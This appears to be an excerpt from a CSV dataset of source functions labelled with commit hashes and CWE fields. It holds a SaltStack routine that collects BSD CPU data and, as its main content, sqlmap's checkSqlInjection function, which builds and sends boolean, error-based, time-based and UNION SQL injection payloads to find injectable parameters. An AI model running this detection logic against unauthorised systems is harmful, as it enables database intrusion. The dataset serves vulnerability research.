    #   num_cpus
    #   cpu_model
    #   cpu_flags
    sysctl = salt.utils.which('sysctl')
    arch = salt.utils.which('arch')
    cmds = {}

    if sysctl:
        cmds.update({
            'num_cpus': '{0} -n hw.ncpu'.format(sysctl),
            'cpuarch': '{0} -n hw.machine'.format(sysctl),
            'cpu_model': '{0} -n hw.model'.format(sysctl),
        })

    if arch and osdata['kernel'] == 'OpenBSD':
        cmds['cpuarch'] = '{0} -s'.format(arch)

    if osdata['kernel'] == 'Darwin':
        cmds['cpu_model'] = '{0} -n machdep.cpu.brand_string'.format(sysctl)

    grains = dict([(k, __salt__['cmd.run'](v)) for k, v in cmds.items()])
    grains['cpu_flags'] = []

    if osdata['kernel'] == 'NetBSD':
        for line in __salt__['cmd.run']('cpuctl identify 0').splitlines():
            m = re.match(r'cpu[0-9]:\ features[0-9]?\ .+<(.+)>', line)
            if m:
                flag = m.group(1).split(',')
                grains['cpu_flags'].extend(flag)

    if osdata['kernel'] == 'FreeBSD' and os.path.isfile('/var/run/dmesg.boot'):
        # TODO: at least it needs to be tested for BSD other then FreeBSD
        with salt.utils.fopen('/var/run/dmesg.boot', 'r') as _fp:
            cpu_here = False
            for line in _fp:
                if line.startswith('CPU: '):
                    cpu_here = True  # starts CPU descr
                    continue
                if cpu_here:
                    if not line.startswith(' '):
                        break  # game over
                    if 'Features' in line:
                        start = line.find('<')
                        end = line.find('>')
                        if start > 0 and end > 0:
                            flag = line[start + 1:end].split(',')
                            grains['cpu_flags'].extend(flag)
    try:
        grains['num_cpus'] = int(grains['num_cpus'])
    except ValueError:
        grains['num_cpus'] = 1

    return grains",,saltstack/salt,15f5374693e57cb960b24424f026cb11edafc57f,"def _bsd_cpudata(osdata):
    '''
    Return CPU information for BSD-like systems
    '''
    # Provides:
    #   cpuarch
    #   num_cpus
    #   cpu_model
    #   cpu_flags
    sysctl = salt.utils.which('sysctl')
    arch = salt.utils.which('arch')
    cmds = {}

    if sysctl:
        cmds.update({
            'num_cpus': '{0} -n hw.ncpu'.format(sysctl),
            'cpuarch': '{0} -n hw.machine'.format(sysctl),
            'cpu_model': '{0} -n hw.model'.format(sysctl),
        })

    if arch and osdata['kernel'] == 'OpenBSD':
        cmds['cpuarch'] = '{0} -s'.format(arch)

    grains = dict([(k, __salt__['cmd.run'](v)) for k, v in cmds.items()])
    grains['cpu_flags'] = []

    if osdata['kernel'] == 'NetBSD':
        for line in __salt__['cmd.run']('cpuctl identify 0').splitlines():
            m = re.match(r'cpu[0-9]:\ features[0-9]?\ .+<(.+)>', line)
            if m:
                flag = m.group(1).split(',')
                grains['cpu_flags'].extend(flag)

    if osdata['kernel'] == 'FreeBSD' and os.path.isfile('/var/run/dmesg.boot'):
        # TODO: at least it needs to be tested for BSD other then FreeBSD
        with salt.utils.fopen('/var/run/dmesg.boot', 'r') as _fp:
            cpu_here = False
            for line in _fp:
                if line.startswith('CPU: '):
                    cpu_here = True  # starts CPU descr
                    continue
                if cpu_here:
                    if not line.startswith(' '):
                        break  # game over
                    if 'Features' in line:
                        start = line.find('<')
                        end = line.find('>')
                        if start > 0 and end > 0:
                            flag = line[start + 1:end].split(',')
                            grains['cpu_flags'].extend(flag)
    try:
        grains['num_cpus'] = int(grains['num_cpus'])
    except ValueError:
        grains['num_cpus'] = 1

    return grains"
functions_for_sqlmap_with_cwe.csv,UNKNOWN,UNKNOWN,lib/controller/checks.py,0,"def checkSqlInjection(place, parameter, value):
    # Store here the details about boundaries and payload used to
    # successfully inject
    injection = InjectionDict()

    # Localized thread data needed for some methods
    threadData = getCurrentThreadData()

    # Favoring non-string specific boundaries in case of digit-like parameter values
    if isDigit(value):
        kb.cache.intBoundaries = kb.cache.intBoundaries or sorted(copy.deepcopy(conf.boundaries), key=lambda boundary: any(_ in (boundary.prefix or """") or _ in (boundary.suffix or """") for _ in ('""', '\'')))
        boundaries = kb.cache.intBoundaries
    elif value.isalpha():
        kb.cache.alphaBoundaries = kb.cache.alphaBoundaries or sorted(copy.deepcopy(conf.boundaries), key=lambda boundary: not any(_ in (boundary.prefix or """") or _ in (boundary.suffix or """") for _ in ('""', '\'')))
        boundaries = kb.cache.alphaBoundaries
    else:
        boundaries = conf.boundaries

    # Set the flag for SQL injection test mode
    kb.testMode = True

    paramType = conf.method if conf.method not in (None, HTTPMETHOD.GET, HTTPMETHOD.POST) else place
    tests = getSortedInjectionTests()
    seenPayload = set()

    kb.data.setdefault(""randomInt"", str(randomInt(10)))
    kb.data.setdefault(""randomStr"", str(randomStr(10)))

    while tests:
        test = tests.pop(0)

        try:
            if kb.endDetection:
                break

            if conf.dbms is None:
                # If the DBMS has not yet been fingerprinted (via simple heuristic check
                # or via DBMS-specific payload) and boolean-based blind has been identified
                # then attempt to identify with a simple DBMS specific boolean-based
                # test what the DBMS may be
                if not injection.dbms and PAYLOAD.TECHNIQUE.BOOLEAN in injection.data:
                    if not Backend.getIdentifiedDbms() and kb.heuristicDbms is None and not kb.droppingRequests:
                        kb.heuristicDbms = heuristicCheckDbms(injection)

                # If the DBMS has already been fingerprinted (via DBMS-specific
                # error message, simple heuristic check or via DBMS-specific
                # payload), ask the user to limit the tests to the fingerprinted
                # DBMS

                if kb.reduceTests is None and not conf.testFilter and (intersect(Backend.getErrorParsedDBMSes(), SUPPORTED_DBMS, True) or kb.heuristicDbms or injection.dbms):
                    msg = ""it looks like the back-end DBMS is '%s'. "" % (Format.getErrorParsedDBMSes() or kb.heuristicDbms or joinValue(injection.dbms, '/'))
                    msg += ""Do you want to skip test payloads specific for other DBMSes? [Y/n]""
                    kb.reduceTests = (Backend.getErrorParsedDBMSes() or [kb.heuristicDbms]) if readInput(msg, default='Y', boolean=True) else []

            # If the DBMS has been fingerprinted (via DBMS-specific error
            # message, via simple heuristic check or via DBMS-specific
            # payload), ask the user to extend the tests to all DBMS-specific,
            # regardless of --level and --risk values provided
            if kb.extendTests is None and not conf.testFilter and (conf.level < 5 or conf.risk < 3) and (intersect(Backend.getErrorParsedDBMSes(), SUPPORTED_DBMS, True) or kb.heuristicDbms or injection.dbms):
                msg = ""for the remaining tests, do you want to include all tests ""
                msg += ""for '%s' extending provided "" % (Format.getErrorParsedDBMSes() or kb.heuristicDbms or joinValue(injection.dbms, '/'))
                msg += ""level (%d)"" % conf.level if conf.level < 5 else """"
                msg += "" and "" if conf.level < 5 and conf.risk < 3 else """"
                msg += ""risk (%d)"" % conf.risk if conf.risk < 3 else """"
                msg += "" values? [Y/n]"" if conf.level < 5 and conf.risk < 3 else "" value? [Y/n]""
                kb.extendTests = (Backend.getErrorParsedDBMSes() or [kb.heuristicDbms]) if readInput(msg, default='Y', boolean=True) else []

            title = test.title
            kb.testType = stype = test.stype
            clause = test.clause
            unionExtended = False
            trueCode, falseCode = None, None

            if conf.httpCollector is not None:
                conf.httpCollector.setExtendedArguments({
                    ""_title"": title,
                    ""_place"": place,
                    ""_parameter"": parameter,
                })

            if stype == PAYLOAD.TECHNIQUE.UNION:
                configUnion(test.request.char)

                if ""[CHAR]"" in title:
                    if conf.uChar is None:
                        continue
                    else:
                        title = title.replace(""[CHAR]"", conf.uChar)

                elif ""[RANDNUM]"" in title or ""(NULL)"" in title:
                    title = title.replace(""[RANDNUM]"", ""random number"")

                if test.request.columns == ""[COLSTART]-[COLSTOP]"":
                    if conf.uCols is None:
                        continue
                    else:
                        title = title.replace(""[COLSTART]"", str(conf.uColsStart))
                        title = title.replace(""[COLSTOP]"", str(conf.uColsStop))

                elif conf.uCols is not None:
                    debugMsg = ""skipping test '%s' because the user "" % title
                    debugMsg += ""provided custom column range %s"" % conf.uCols
                    logger.debug(debugMsg)
                    continue

                match = re.search(r""(\d+)-(\d+)"", test.request.columns)
                if match and injection.data:
                    lower, upper = int(match.group(1)), int(match.group(2))
                    for _ in (lower, upper):
                        if _ > 1:
                            __ = 2 * (_ - 1) + 1 if _ == lower else 2 * _
                            unionExtended = True
                            test.request.columns = re.sub(r""\b%d\b"" % _, str(__), test.request.columns)
                            title = re.sub(r""\b%d\b"" % _, str(__), title)
                            test.title = re.sub(r""\b%d\b"" % _, str(__), test.title)

            # Skip test if the user's wants to test only for a specific
            # technique
            if conf.technique and isinstance(conf.technique, list) and stype not in conf.technique:
                debugMsg = ""skipping test '%s' because user "" % title
                debugMsg += ""specified testing of only ""
                debugMsg += ""%s techniques"" % "" & "".join(PAYLOAD.SQLINJECTION[_] for _ in conf.technique)
                logger.debug(debugMsg)
                continue

            # Skip test if it is the same SQL injection type already
            # identified by another test
            if injection.data and stype in injection.data:
                debugMsg = ""skipping test '%s' because "" % title
                debugMsg += ""the payload for %s has "" % PAYLOAD.SQLINJECTION[stype]
                debugMsg += ""already been identified""
                logger.debug(debugMsg)
                continue

            # Parse DBMS-specific payloads' details
            if ""details"" in test and ""dbms"" in test.details:
                payloadDbms = test.details.dbms
            else:
                payloadDbms = None

            # Skip tests if title, vector or DBMS is not included by the
            # given test filter
            if conf.testFilter and not any(conf.testFilter in str(item) or re.search(conf.testFilter, str(item), re.I) for item in (test.title, test.vector, payloadDbms)):
                debugMsg = ""skipping test '%s' because its "" % title
                debugMsg += ""name/vector/DBMS is not included by the given filter""
                logger.debug(debugMsg)
                continue

            # Skip tests if title, vector or DBMS is included by the
            # given skip filter
            if conf.testSkip and any(conf.testSkip in str(item) or re.search(conf.testSkip, str(item), re.I) for item in (test.title, test.vector, payloadDbms)):
                debugMsg = ""skipping test '%s' because its "" % title
                debugMsg += ""name/vector/DBMS is included by the given skip filter""
                logger.debug(debugMsg)
                continue

            if payloadDbms is not None:
                # Skip DBMS-specific test if it does not match the user's
                # provided DBMS
                if conf.dbms and not intersect(payloadDbms, conf.dbms, True):
                    debugMsg = ""skipping test '%s' because "" % title
                    debugMsg += ""its declared DBMS is different than provided""
                    logger.debug(debugMsg)
                    continue

                if kb.dbmsFilter and not intersect(payloadDbms, kb.dbmsFilter, True):
                    debugMsg = ""skipping test '%s' because "" % title
                    debugMsg += ""its declared DBMS is different than provided""
                    logger.debug(debugMsg)
                    continue

                # Skip DBMS-specific test if it does not match the
                # previously identified DBMS (via DBMS-specific payload)
                if injection.dbms and not intersect(payloadDbms, injection.dbms, True):
                    debugMsg = ""skipping test '%s' because "" % title
                    debugMsg += ""its declared DBMS is different than identified""
                    logger.debug(debugMsg)
                    continue

                # Skip DBMS-specific test if it does not match the
                # previously identified DBMS (via DBMS-specific error message)
                if kb.reduceTests and not intersect(payloadDbms, kb.reduceTests, True):
                    debugMsg = ""skipping test '%s' because the heuristic "" % title
                    debugMsg += ""tests showed that the back-end DBMS ""
                    debugMsg += ""could be '%s'"" % unArrayizeValue(kb.reduceTests)
                    logger.debug(debugMsg)
                    continue

            # If the user did not decide to extend the tests to all
            # DBMS-specific or the test payloads is not specific to the
            # identified DBMS, then only test for it if both level and risk
            # are below the corrisponding configuration's level and risk
            # values
            if not conf.testFilter and not (kb.extendTests and intersect(payloadDbms, kb.extendTests, True)):
                # Skip test if the risk is higher than the provided (or default)
                # value
                if test.risk > conf.risk:
                    debugMsg = ""skipping test '%s' because the risk (%d) "" % (title, test.risk)
                    debugMsg += ""is higher than the provided (%d)"" % conf.risk
                    logger.debug(debugMsg)
                    continue

                # Skip test if the level is higher than the provided (or default)
                # value
                if test.level > conf.level:
                    debugMsg = ""skipping test '%s' because the level (%d) "" % (title, test.level)
                    debugMsg += ""is higher than the provided (%d)"" % conf.level
                    logger.debug(debugMsg)
                    continue

            # Skip test if it does not match the same SQL injection clause
            # already identified by another test
            clauseMatch = False

            for clauseTest in clause:
                if injection.clause is not None and clauseTest in injection.clause:
                    clauseMatch = True
                    break

            if clause != [0] and injection.clause and injection.clause != [0] and not clauseMatch:
                debugMsg = ""skipping test '%s' because the clauses "" % title
                debugMsg += ""differ from the clause already identified""
                logger.debug(debugMsg)
                continue

            # Skip test if the user provided custom character (for UNION-based payloads)
            if conf.uChar is not None and (""random number"" in title or ""(NULL)"" in title):
                debugMsg = ""skipping test '%s' because the user "" % title
                debugMsg += ""provided a specific character, %s"" % conf.uChar
                logger.debug(debugMsg)
                continue

            if stype == PAYLOAD.TECHNIQUE.UNION:
                match = re.search(r""(\d+)-(\d+)"", test.request.columns)
                if match and not injection.data:
                    _ = test.request.columns.split('-')[-1]
                    if conf.uCols is None and _.isdigit():
                        if kb.futileUnion is None:
                            msg = ""it is recommended to perform ""
                            msg += ""only basic UNION tests if there is not ""
                            msg += ""at least one other (potential) ""
                            msg += ""technique found. Do you want to reduce ""
                            msg += ""the number of requests? [Y/n] ""
                            kb.futileUnion = readInput(msg, default='Y', boolean=True)

                        if kb.futileUnion and int(_) > 10:
                            debugMsg = ""skipping test '%s'"" % title
                            logger.debug(debugMsg)
                            continue

            infoMsg = ""testing '%s'"" % title
            logger.info(infoMsg)

            # Force back-end DBMS according to the current test DBMS value
            # for proper payload unescaping
            Backend.forceDbms(payloadDbms[0] if isinstance(payloadDbms, list) else payloadDbms)

            # Parse test's <request>
            comment = agent.getComment(test.request) if len(conf.boundaries) > 1 else None
            fstPayload = agent.cleanupPayload(test.request.payload, origValue=value if place not in (PLACE.URI, PLACE.CUSTOM_POST, PLACE.CUSTOM_HEADER) and BOUNDED_INJECTION_MARKER not in (value or """") else None)

            for boundary in boundaries:
                injectable = False

                # Skip boundary if the level is higher than the provided (or
                # default) value
                # Parse boundary's <level>
                if boundary.level > conf.level and not (kb.extendTests and intersect(payloadDbms, kb.extendTests, True)):
                    continue

                # Skip boundary if it does not match against test's <clause>
                # Parse test's <clause> and boundary's <clause>
                clauseMatch = False

                for clauseTest in test.clause:
                    if clauseTest in boundary.clause:
                        clauseMatch = True
                        break

                if test.clause != [0] and boundary.clause != [0] and not clauseMatch:
                    continue

                # Skip boundary if it does not match against test's <where>
                # Parse test's <where> and boundary's <where>
                whereMatch = False

                for where in test.where:
                    if where in boundary.where:
                        whereMatch = True
                        break

                if not whereMatch:
                    continue

                # Parse boundary's <prefix>, <suffix> and <ptype>
                prefix = boundary.prefix if boundary.prefix else """"
                suffix = boundary.suffix if boundary.suffix else """"
                ptype = boundary.ptype

                # Options --prefix/--suffix have a higher priority (if set by user)
                prefix = conf.prefix if conf.prefix is not None else prefix
                suffix = conf.suffix if conf.suffix is not None else suffix
                comment = None if conf.suffix is not None else comment

                # If the previous injections succeeded, we know which prefix,
                # suffix and parameter type to use for further tests, no
                # need to cycle through the boundaries for the following tests
                condBound = (injection.prefix is not None and injection.suffix is not None)
                condBound &= (injection.prefix != prefix or injection.suffix != suffix)
                condType = injection.ptype is not None and injection.ptype != ptype

                # If the payload is an inline query test for it regardless
                # of previously identified injection types
                if stype != PAYLOAD.TECHNIQUE.QUERY and (condBound or condType):
                    continue

                # For each test's <where>
                for where in test.where:
                    templatePayload = None
                    vector = None

                    origValue = value
                    if kb.customInjectionMark in origValue:
                        origValue = origValue.split(kb.customInjectionMark)[0]
                        origValue = re.search(r""(\w*)\Z"", origValue).group(1)

                    # Threat the parameter original value according to the
                    # test's <where> tag
                    if where == PAYLOAD.WHERE.ORIGINAL or conf.prefix:
                        if kb.tamperFunctions:
                            templatePayload = agent.payload(place, parameter, value="""", newValue=origValue, where=where)
                    elif where == PAYLOAD.WHERE.NEGATIVE:
                        # Use different page template than the original
                        # one as we are changing parameters value, which
                        # will likely result in a different content

                        if conf.invalidLogical:
                            _ = int(kb.data.randomInt[:2])
                            origValue = ""%s AND %s LIKE %s"" % (origValue, _, _ + 1)
                        elif conf.invalidBignum:
                            origValue = kb.data.randomInt[:6]
                        elif conf.invalidString:
                            origValue = kb.data.randomStr[:6]
                        else:
                            origValue = ""-%s"" % kb.data.randomInt[:4]

                        templatePayload = agent.payload(place, parameter, value="""", newValue=origValue, where=where)
                    elif where == PAYLOAD.WHERE.REPLACE:
                        origValue = """"

                    kb.pageTemplate, kb.errorIsNone = getPageTemplate(templatePayload, place)

                    # Forge request payload by prepending with boundary's
                    # prefix and appending the boundary's suffix to the
                    # test's ' <payload><comment> ' string
                    if fstPayload:
                        boundPayload = agent.prefixQuery(fstPayload, prefix, where, clause)
                        boundPayload = agent.suffixQuery(boundPayload, comment, suffix, where)
                        reqPayload = agent.payload(place, parameter, newValue=boundPayload, where=where)

                        if reqPayload:
                            stripPayload = re.sub(r""(\A|\b|_)([A-Za-z]{4}((?<!LIKE))|\d+)(_|\b|\Z)"", r""\g<1>.\g<4>"", reqPayload)
                            if stripPayload in seenPayload:
                                continue
                            else:
                                seenPayload.add(stripPayload)
                    else:
                        reqPayload = None

                    # Perform the test's request and check whether or not the
                    # payload was successful
                    # Parse test's <response>
                    for method, check in test.response.items():
                        check = agent.cleanupPayload(check, origValue=value if place not in (PLACE.URI, PLACE.CUSTOM_POST, PLACE.CUSTOM_HEADER) and BOUNDED_INJECTION_MARKER not in (value or """") else None)

                        # In case of boolean-based blind SQL injection
                        if method == PAYLOAD.METHOD.COMPARISON:
                            # Generate payload used for comparison
                            def genCmpPayload():
                                sndPayload = agent.cleanupPayload(test.response.comparison, origValue=value if place not in (PLACE.URI, PLACE.CUSTOM_POST, PLACE.CUSTOM_HEADER) and BOUNDED_INJECTION_MARKER not in (value or """") else None)

                                # Forge response payload by prepending with
                                # boundary's prefix and appending the boundary's
                                # suffix to the test's ' <payload><comment> '
                                # string
                                boundPayload = agent.prefixQuery(sndPayload, prefix, where, clause)
                                boundPayload = agent.suffixQuery(boundPayload, comment, suffix, where)
                                cmpPayload = agent.payload(place, parameter, newValue=boundPayload, where=where)

                                return cmpPayload

                            # Useful to set kb.matchRatio at first based on False response content
                            kb.matchRatio = None
                            kb.negativeLogic = (where == PAYLOAD.WHERE.NEGATIVE)
                            suggestion = None
                            Request.queryPage(genCmpPayload(), place, raise404=False)
                            falsePage, falseHeaders, falseCode = threadData.lastComparisonPage or """", threadData.lastComparisonHeaders, threadData.lastComparisonCode
                            falseRawResponse = ""%s%s"" % (falseHeaders, falsePage)

                            # Checking if there is difference between current FALSE, original and heuristics page (i.e. not used parameter)
                            if not any((kb.negativeLogic, conf.string, conf.notString)):
                                try:
                                    ratio = 1.0
                                    seqMatcher = getCurrentThreadData().seqMatcher

                                    for current in (kb.originalPage, kb.heuristicPage):
                                        seqMatcher.set_seq1(current or """")
                                        seqMatcher.set_seq2(falsePage or """")
                                        ratio *= seqMatcher.quick_ratio()

                                    if ratio == 1.0:
                                        continue
                                except (MemoryError, OverflowError):
                                    pass

                            # Perform the test's True request
                            trueResult = Request.queryPage(reqPayload, place, raise404=False)
                            truePage, trueHeaders, trueCode = threadData.lastComparisonPage or """", threadData.lastComparisonHeaders, threadData.lastComparisonCode
                            trueRawResponse = ""%s%s"" % (trueHeaders, truePage)

                            if trueResult and not(truePage == falsePage and not any((kb.nullConnection, conf.code))):
                                # Perform the test's False request
                                falseResult = Request.queryPage(genCmpPayload(), place, raise404=False)

                                if not falseResult:
                                    if kb.negativeLogic:
                                        boundPayload = agent.prefixQuery(kb.data.randomStr, prefix, where, clause)
                                        boundPayload = agent.suffixQuery(boundPayload, comment, suffix, where)
                                        errorPayload = agent.payload(place, parameter, newValue=boundPayload, where=where)

                                        errorResult = Request.queryPage(errorPayload, place, raise404=False)
                                        if errorResult:
                                            continue
                                    elif kb.heuristicPage and not any((conf.string, conf.notString, conf.regexp, conf.code, kb.nullConnection)):
                                        _ = comparison(kb.heuristicPage, None, getRatioValue=True)
                                        if (_ or 0) > (kb.matchRatio or 0):
                                            kb.matchRatio = _
                                            logger.debug(""adjusting match ratio for current parameter to %.3f"" % kb.matchRatio)

                                    # Reducing false-positive ""appears"" messages in heavily dynamic environment
                                    if kb.heavilyDynamic and not Request.queryPage(reqPayload, place, raise404=False):
                                        continue

                                    injectable = True

                                elif (threadData.lastComparisonRatio or 0) > UPPER_RATIO_BOUND and not any((conf.string, conf.notString, conf.regexp, conf.code, kb.nullConnection)):
                                    originalSet = set(getFilteredPageContent(kb.pageTemplate, True, ""\n"").split(""\n""))
                                    trueSet = set(getFilteredPageContent(truePage, True, ""\n"").split(""\n""))
                                    falseSet = set(getFilteredPageContent(falsePage, True, ""\n"").split(""\n""))

                                    if threadData.lastErrorPage and threadData.lastErrorPage[1]:
                                        errorSet = set(getFilteredPageContent(threadData.lastErrorPage[1], True, ""\n"").split(""\n""))
                                    else:
                                        errorSet = set()

                                    if originalSet == trueSet != falseSet:
                                        candidates = trueSet - falseSet - errorSet

                                        if candidates:
                                            candidates = sorted(candidates, key=len)
                                            for candidate in candidates:
                                                if re.match(r""\A[\w.,! ]+\Z"", candidate) and ' ' in candidate and candidate.strip() and len(candidate) > CANDIDATE_SENTENCE_MIN_LENGTH:
                                                    suggestion = conf.string = candidate
                                                    injectable = True

                                                    infoMsg = ""%sparameter '%s' appears to be '%s' injectable (with --string=\""%s\"")"" % (""%s "" % paramType if paramType != parameter else """", parameter, title, repr(conf.string).lstrip('u').strip(""'""))
                                                    logger.info(infoMsg)

                                                    break

                            if injectable:
                                if kb.pageStable and not any((conf.string, conf.notString, conf.regexp, conf.code, kb.nullConnection)):
                                    if all((falseCode, trueCode)) and falseCode != trueCode:
                                        suggestion = conf.code = trueCode

                                        infoMsg = ""%sparameter '%s' appears to be '%s' injectable (with --code=%d)"" % (""%s "" % paramType if paramType != parameter else """", parameter, title, conf.code)
                                        logger.info(infoMsg)
                                    else:
                                        trueSet = set(extractTextTagContent(trueRawResponse))
                                        trueSet |= set(__ for _ in trueSet for __ in _.split())

                                        falseSet = set(extractTextTagContent(falseRawResponse))
                                        falseSet |= set(__ for _ in falseSet for __ in _.split())

                                        if threadData.lastErrorPage and threadData.lastErrorPage[1]:
                                            errorSet = set(extractTextTagContent(threadData.lastErrorPage[1]))
                                            errorSet |= set(__ for _ in errorSet for __ in _.split())
                                        else:
                                            errorSet = set()

                                        candidates = filterNone(_.strip() if _.strip() in trueRawResponse and _.strip() not in falseRawResponse else None for _ in (trueSet - falseSet - errorSet))

                                        if candidates:
                                            candidates = sorted(candidates, key=len)
                                            for candidate in candidates:
                                                if re.match(r""\A\w{2,}\Z"", candidate):  # Note: length of 1 (e.g. --string=5) could cause trouble, especially in error message pages with partially reflected payload content
                                                    break

                                            suggestion = conf.string = candidate

                                            infoMsg = ""%sparameter '%s' appears to be '%s' injectable (with --string=\""%s\"")"" % (""%s "" % paramType if paramType != parameter else """", parameter, title, repr(conf.string).lstrip('u').strip(""'""))
                                            logger.info(infoMsg)

                                        if not any((conf.string, conf.notString)):
                                            candidates = filterNone(_.strip() if _.strip() in falseRawResponse and _.strip() not in trueRawResponse else None for _ in (falseSet - trueSet))

                                            if candidates:
                                                candidates = sorted(candidates, key=len)
                                                for candidate in candidates:
                                                    if re.match(r""\A\w+\Z"", candidate):
                                                        break

                                                suggestion = conf.notString = candidate

                                                infoMsg = ""%sparameter '%s' appears to be '%s' injectable (with --not-string=\""%s\"")"" % (""%s "" % paramType if paramType != parameter else """", parameter, title, repr(conf.notString).lstrip('u').strip(""'""))
                                                logger.info(infoMsg)

                                if not suggestion:
                                    infoMsg = ""%sparameter '%s' appears to be '%s' injectable "" % (""%s "" % paramType if paramType != parameter else """", parameter, title)
                                    singleTimeLogMessage(infoMsg)

                        # In case of error-based SQL injection
                        elif method == PAYLOAD.METHOD.GREP:
                            # Perform the test's request and grep the response
                            # body for the test's <grep> regular expression
                            try:
                                page, headers, _ = Request.queryPage(reqPayload, place, content=True, raise404=False)
                                output = extractRegexResult(check, page, re.DOTALL | re.IGNORECASE)
                                output = output or extractRegexResult(check, threadData.lastHTTPError[2] if wasLastResponseHTTPError() else None, re.DOTALL | re.IGNORECASE)
                                output = output or extractRegexResult(check, listToStrValue((headers[key] for key in headers if key.lower() != URI_HTTP_HEADER.lower()) if headers else None), re.DOTALL | re.IGNORECASE)
                                output = output or extractRegexResult(check, threadData.lastRedirectMsg[1] if threadData.lastRedirectMsg and threadData.lastRedirectMsg[0] == threadData.lastRequestUID else None, re.DOTALL | re.IGNORECASE)

                                if output:
                                    result = output == ""1""

                                    if result:
                                        infoMsg = ""%sparameter '%s' is '%s' injectable "" % (""%s "" % paramType if paramType != parameter else """", parameter, title)
                                        logger.info(infoMsg)

                                        injectable = True

                            except SqlmapConnectionException as ex:
                                debugMsg = ""problem occurred most likely because the ""
                                debugMsg += ""server hasn't recovered as expected from the ""
                                debugMsg += ""used error-based payload ('%s')"" % getSafeExString(ex)
                                logger.debug(debugMsg)

                        # In case of time-based blind or stacked queries
                        # SQL injections
                        elif method == PAYLOAD.METHOD.TIME:
                            # Perform the test's request
                            trueResult = Request.queryPage(reqPayload, place, timeBasedCompare=True, raise404=False)
                            trueCode = threadData.lastCode

                            if trueResult:
                                # Extra validation step (e.g. to check for DROP protection mechanisms)
                                if SLEEP_TIME_MARKER in reqPayload:
                                    falseResult = Request.queryPage(reqPayload.replace(SLEEP_TIME_MARKER, ""0""), place, timeBasedCompare=True, raise404=False)
                                    if falseResult:
                                        continue

                                # Confirm test's results
                                trueResult = Request.queryPage(reqPayload, place, timeBasedCompare=True, raise404=False)

                                if trueResult:
                                    infoMsg = ""%sparameter '%s' appears to be '%s' injectable "" % (""%s "" % paramType if paramType != parameter else """", parameter, title)
                                    logger.info(infoMsg)

                                    injectable = True

                        # In case of UNION query SQL injection
                        elif method == PAYLOAD.METHOD.UNION:
                            # Test for UNION injection and set the sample
                            # payload as well as the vector.
                            # NOTE: vector is set to a tuple with 6 elements,
                            # used afterwards by Agent.forgeUnionQuery()
                            # method to forge the UNION query payload

                            configUnion(test.request.char, test.request.columns)

                            if len(kb.dbmsFilter or []) == 1:
                                Backend.forceDbms(kb.dbmsFilter[0])
                            elif not Backend.getIdentifiedDbms():
                                if kb.heuristicDbms is None:
                                    if kb.heuristicTest == HEURISTIC_TEST.POSITIVE or injection.data:
                                        warnMsg = ""using unescaped version of the test ""
                                        warnMsg += ""because of zero knowledge of the ""
                                        warnMsg += ""back-end DBMS. You can try to ""
                                        warnMsg += ""explicitly set it with option '--dbms'""
                                        singleTimeWarnMessage(warnMsg)
                                else:
                                    Backend.forceDbms(kb.heuristicDbms)

                            if unionExtended:
                                infoMsg = ""automatically extending ranges for UNION ""
                                infoMsg += ""query injection technique tests as ""
                                infoMsg += ""there is at least one other (potential) ""
                                infoMsg += ""technique found""
                                singleTimeLogMessage(infoMsg)

                            # Test for UNION query SQL injection
                            reqPayload, vector = unionTest(comment, place, parameter, value, prefix, suffix)

                            if isinstance(reqPayload, six.string_types):
                                infoMsg = ""%sparameter '%s' is '%s' injectable"" % (""%s "" % paramType if paramType != parameter else """", parameter, title)
                                logger.info(infoMsg)

                                injectable = True

                                # Overwrite 'where' because it can be set
                                # by unionTest() directly
                                where = vector[6]

                        kb.previousMethod = method

                        if conf.offline:
                            injectable = False

                    # If the injection test was successful feed the injection
                    # object with the test's details
                    if injectable is True:
                        # Feed with the boundaries details only the first time a
                        # test has been successful
                        if injection.place is None or injection.parameter is None:
                            if place in (PLACE.USER_AGENT, PLACE.REFERER, PLACE.HOST):
                                injection.parameter = place
                            else:
                                injection.parameter = parameter

                            injection.place = place
                            injection.ptype = ptype
                            injection.prefix = prefix
                            injection.suffix = suffix
                            injection.clause = clause

                        # Feed with test details every time a test is successful
                        if hasattr(test, ""details""):
                            for key, value in test.details.items():
                                if key == ""dbms"":
                                    injection.dbms = value

                                    if not isinstance(value, list):
                                        Backend.setDbms(value)
                                    else:
                                        Backend.forceDbms(value[0], True)

                                elif key == ""dbms_version"" and injection.dbms_version is None and not conf.testFilter:
                                    injection.dbms_version = Backend.setVersion(value)

                                elif key == ""os"" and injection.os is None:
                                    injection.os = Backend.setOs(value)

                        if vector is None and ""vector"" in test and test.vector is not None:
                            vector = test.vector

                        injection.data[stype] = AttribDict()
                        injection.data[stype].title = title
                        injection.data[stype].payload = agent.removePayloadDelimiters(reqPayload)
                        injection.data[stype].where = where
                        injection.data[stype].vector = vector
                        injection.data[stype].comment = comment
                        injection.data[stype].templatePayload = templatePayload
                        injection.data[stype].matchRatio = kb.matchRatio
                        injection.data[stype].trueCode = trueCode
                        injection.data[stype].falseCode = falseCode

                        injection.conf.textOnly = conf.textOnly
                        injection.conf.titles = conf.titles
                        injection.conf.code = conf.code
                        injection.conf.string = conf.string
                        injection.conf.notString = conf.notString
                        injection.conf.regexp = conf.regexp
                        injection.conf.optimize = conf.optimize

                        if not kb.alerted:
                            if conf.beep:
                                beep()

                            if conf.alert:
                                infoMsg = ""executing alerting shell command(s) ('%s')"" % conf.alert
                                logger.info(infoMsg)

                                try:
                                    process = subprocess.Popen(getBytes(conf.alert, sys.getfilesystemencoding() or UNICODE_ENCODING), shell=True)
                                    process.wait()
                                except Exception as ex:
                                    errMsg = ""error occurred while executing '%s' ('%s')"" % (conf.alert, getSafeExString(ex))
                                    logger.error(errMsg)

                            kb.alerted = True

                        # There is no need to perform this test for other
                        # <where> tags
                        break

                if injectable is True:
                    kb.vulnHosts.add(conf.hostname)
                    break

            # Reset forced back-end DBMS value
            Backend.flushForcedDbms()

        except KeyboardInterrupt:
            warnMsg = ""user aborted during detection phase""
            logger.warn(warnMsg)

            if conf.multipleTargets:
                msg = ""how do you want to proceed? [ne(X)t target/(s)kip current test/(e)nd detection phase/(n)ext parameter/(c)hange verbosity/(q)uit]""
                choice = readInput(msg, default='X', checkBatch=False).upper()
            else:
                msg = ""how do you want to proceed? [(S)kip current test/(e)nd detection phase/(n)ext parameter/(c)hange verbosity/(q)uit]""
                choice = readInput(msg, default='S', checkBatch=False).upper()

            if choice == 'X':
                if conf.multipleTargets:
                    raise SqlmapSkipTargetException
            elif choice == 'C':
                choice = None
                while not ((choice or """").isdigit() and 0 <= int(choice) <= 6):
                    if choice:
                        logger.warn(""invalid value"")
                    msg = ""enter new verbosity level: [0-6] ""
